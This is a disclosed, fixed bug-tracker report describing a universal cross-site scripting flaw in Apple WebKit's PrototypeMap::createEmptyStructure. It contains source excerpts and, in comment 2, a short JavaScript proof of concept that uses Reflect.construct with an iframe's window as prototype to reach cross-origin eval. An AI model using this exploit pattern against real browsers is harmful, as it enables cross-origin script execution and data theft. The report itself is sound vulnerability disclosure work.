New issue
Advanced search Search tips
Starred by 1 user

Issue metadata

Status: Fixed
Closed: Apr 2017

Sign in to add a comment

Issue 1084: Apple WebKit: UXSS via PrototypeMap::createEmptyStructure

Reported by, Jan 17 2017 Project Member

Issue description

When creating an object in Javascript, its |Structure| is created with the constructor's prototype's |VM|.

Here's some snippets of that routine.

Structure* InternalFunction::createSubclassStructure(ExecState* exec, JSValue newTarget, Structure* baseClass)
    if (newTarget && newTarget != exec->jsCallee()) {
        // newTarget may be an InternalFunction if we were called from Reflect.construct.
        JSFunction* targetFunction = jsDynamicCast<JSFunction*>(newTarget);

        if (LIKELY(targetFunction)) {
                return targetFunction->rareData(vm)->createInternalFunctionAllocationStructureFromBase(vm, prototype, baseClass);
        } else {
                return vm.prototypeMap.emptyStructureForPrototypeFromBaseStructure(prototype, baseClass);
    return baseClass;

inline Structure* PrototypeMap::createEmptyStructure(JSObject* prototype, const TypeInfo& typeInfo, const ClassInfo* classInfo, IndexingType indexingType, unsigned inlineCapacity)
    Structure* structure = Structure::create(
        prototype->globalObject()->vm(), prototype->globalObject(), prototype, typeInfo, classInfo, indexingType, inlineCapacity);
    m_structures.set(key, Weak<Structure>(structure));

As we can see |Structure::create| is called with prototype's |vm| and |globalObject| as arguments. So it could lead to an UXSS condition.

Tested on Safari 10.0.2(12602. and Webkit Nightly 10.0.2(12602., r210800).

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.
2.0 KB View Download

Comment 1 by, Jan 17 2017

Project Member

Comment 2 by, Feb 10 2017

Project Member
More simple way:
    let f = document.body.appendChild(document.createElement('iframe'));
    f.onload = () => {
        f.onload = null;

        let g = function () {};
        g.prototype = f.contentWindow;

        let a = Reflect.construct(Function, ['return window[0].eval;'], g);
        let e = a();

    f.src = '';

Comment 3 by, Apr 14 2017

Project Member
Status: Fixed (was: New)

Comment 4 by, Apr 18 2017

Project Member
Labels: -Restrict-View-Commit

Comment 5 Deleted

Sign in to add a comment